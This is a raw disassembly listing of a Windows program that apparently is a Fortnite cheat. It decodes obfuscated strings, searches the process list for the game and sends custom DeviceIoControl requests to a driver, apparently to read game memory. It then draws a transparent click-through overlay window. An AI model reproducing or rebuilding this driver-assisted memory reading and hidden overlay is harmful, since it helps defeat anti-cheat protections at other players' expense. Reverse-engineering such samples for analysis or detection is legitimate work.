jne 0x140096f45
add r15b, 0x44
movzx eax, r15b
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r9b
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
lea rdx, [r8 + 3]
cmp rbx, rdx
jne 0x140096e29
add r15b, 0x5c
movzx eax, r15b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
jmp 0x14009723f
cmp rbx, r10
jne 0x140096f91
add r15b, 0x7a
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 0x56
jmp 0x140097242
cmp rbx, r11
jne 0x140096fce
sub r15b, 0x7a
movzx eax, r15b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r9b
inc r8
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
cmp rbx, rdx
jne 0x140097008
sub sil, 0x6e
movzx eax, sil
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140097036
sub sil, 0x4a
movzx eax, sil
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
mov r14, qword [rsp + 0x48]
jmp 0x1400972e8
cmp rbx, rcx
jne 0x140096e5b
lea ecx, [rsi - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
mov r14, qword [rsp + 0x48]
jmp 0x14009732e
cmp rbx, r10
jne 0x140097088
sub sil, 8
movzx eax, sil
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
mov r14, qword [rsp + 0x48]
jmp 0x1400973ad
cmp rbx, r11
jne 0x1400970af
add sil, 4
movzx eax, sil
and al, r9b
add al, al
sub sil, al
lea edi, [r9 + rsi]
sub dil, 0x1c
mov r14, qword [rsp + 0x48]
jmp 0x14009735f
cmp rbx, rcx
jne 0x1400970cb
lea ecx, [rsi + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14009714a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096d39
add sil, 0x40
movzx eax, sil
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r9b
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
mov rdx, qword [rbp + 0x140]
mov byte [rdx], dil
mov r14, qword [rsp + 0x48]
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
lea edx, [rsi + 0x70]
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
add dil, dl
add dil, r9b
add sil, 0x76
movzx eax, sil
and al, r9b
add al, al
sub sil, al
sub sil, 0x3a
add sil, r9b
add sil, dil
mov rdx, qword [rbp + 0x140]
mov byte [rdx], sil
mov r14, qword [rsp + 0x48]
add rbx, r8
jmp 0x1400972e8
lea ecx, [rsi + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x64]
mov r14, qword [rsp + 0x48]
jmp 0x14009732e
sub dl, 0x16
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x66
jmp 0x1400973ad
sub dl, 0x2e
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009732e
sub dl, 0x5e
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x6e
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
sub dl, 0x6a
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x1a
inc r8
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
sub dl, 0x76
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add sil, 0x6a
movzx eax, r9b
and al, sil
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, sil
mov rdx, qword [rbp + 0x140]
mov byte [rdx], cl
inc r8
mov r14, qword [rsp + 0x48]
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
lea ecx, [r14 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
dec r14
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
lea edx, [r14 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400972e8
movabs rax, 0x81b3ea98bddd3f36
add rax, r14
and dl, al
add dl, dl
sub r9b, dl
lea edi, [rax + r9]
sub dil, 0x7a
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
movabs rcx, 0xba369a050573312a
add rcx, r14
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x26
add dil, cl
movzx esi, r14b
sub sil, 0x7e
movzx eax, sil
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, sil
add cl, r9b
movzx eax, cl
lea rdx, [rbp + 0xe0]
mov byte [rdx + r14], al
inc r8
add rax, r8
sub r14, rax
lea edx, [r14 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r14 + 0xe0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r14, rax
jmp 0x1400973ad
movabs rax, 0x2b3bf8dd949f1512
add rax, r14
and dl, al
add dl, dl
sub r9b, dl
lea edi, [rax + r9]
sub dil, 0x7e
movzx eax, byte [rbp + r14 + 0xe0]
add rax, r8
add r14, rax
inc r14
movabs rsi, 0x63bea849dc350706
jmp 0x140096a23
add sil, 0x1e
movzx eax, r9b
and al, sil
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
movabs rsi, 0x63bea849dc350706
jmp 0x140096a20
add sil, 0x12
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x7e
jmp 0x1400969fe
lea rdi, [rbp + 0x160b8e8]
jmp 0x14009742e
lea rdi, [rbp + 0x55bfee]
jmp 0x14009742e
lea rdi, [rbp + 0xe0]
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov dword [rbp + 0x270], 0x238
lea rdx, [rbp + 0x270]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140097487
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x29c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x1400974bf
lea rdx, [rbp + 0x270]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140097460
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1401dd1c8], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Could_not_find_fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x278]
mov dword [0x1401dd1c8], eax
test eax, eax
je 0x14009749a
call fcn.140055eb0
call fcn.140056c00
movzx eax, al
mov qword [0x1401dd1b8], rax
mov qword [rbp + 0x220], 0
movdqa xmm0, xmmword [0x140148ed0]
movdqu xmmword [rbp + 0x1f0], xmm0
mov eax, dword [0x1401dd1c8]
mov dword [rbp + 0x1f4], eax
lea rax, [rbp + 0x220]
mov qword [rbp + 0x1f8], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1f0]
mov edx, 0x26d314
mov rcx, qword [0x1401dd1c0]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp + 0x220]
mov qword [0x1401dd1b0], rax
lea rdx, [0x1400519e0]
lea rcx, [rbp + 0x250]
call fcn.1400413d0
nop
lea rcx, [rbp + 0x250]
call fcn.140051c00
xor edi, edi
xor esi, esi
movsxd rdx, esi
add rdx, qword [0x1401dd1b0]
mov qword [0x1401dd2d8], rdx
mov rcx, qword [0x1401db718]
add rcx, rdx
call fcn.1400438b0
mov rbx, rax
mov rcx, qword [0x1401db778]
add rcx, rax
call fcn.1400438b0
test rbx, rbx
je 0x1400975e2
test rax, rax
je 0x1400975e2
mov rcx, qword [0x1401db780]
add rcx, rax
call fcn.1400438b0
cmp rax, rbx
je 0x1400975f2
inc edi
add esi, 0x1000
cmp edi, 0x7fffffff
jl 0x140097592
mov rcx, qword [0x1401dd1e8]
test rcx, rcx
jne 0x140097623
nop
call fcn.14004e360
mov qword [0x1401dd1e8], rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1401dd1e8]
test rcx, rcx
je 0x140097600
movdqa xmm0, xmmword [0x140148ee0]
movdqu xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x260]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xor edx, edx
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_SetMenu]
mov edx, 0xfffffff0
mov r8d, 0x10000000
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 0xffffffec
mov r8d, 0x80020
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov edx, 5
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0xffffffec
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80020
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401dd1e8]
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.140051c40
mov qword [rbp + 0x228], 0
mov ecx, 8
call fcn.14013c88c
test rax, rax
je 0x1400976f3
lea rcx, [0x14004fd70]
mov qword [rax], rcx
mov qword [rbp + 0x228], rax
lea rcx, [rbp + 0x218]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140042a60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x210], rax
test rax, rax
je 0x14009781f
mov qword [rbp + 0x228], 0
cmp dword [rbp + 0x218], 0
je 0x140097814
movaps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0x1c0]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140097814
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x210], xmm0
call fcn.1400753a0
nop
cmp dword [rbp + 0x218], 0
je 0x14009778e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x258], 0
je 0x14009779e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400977e2
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400977dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400977dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8c8
xor eax, eax
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.14013cd40
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp + 0x218], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3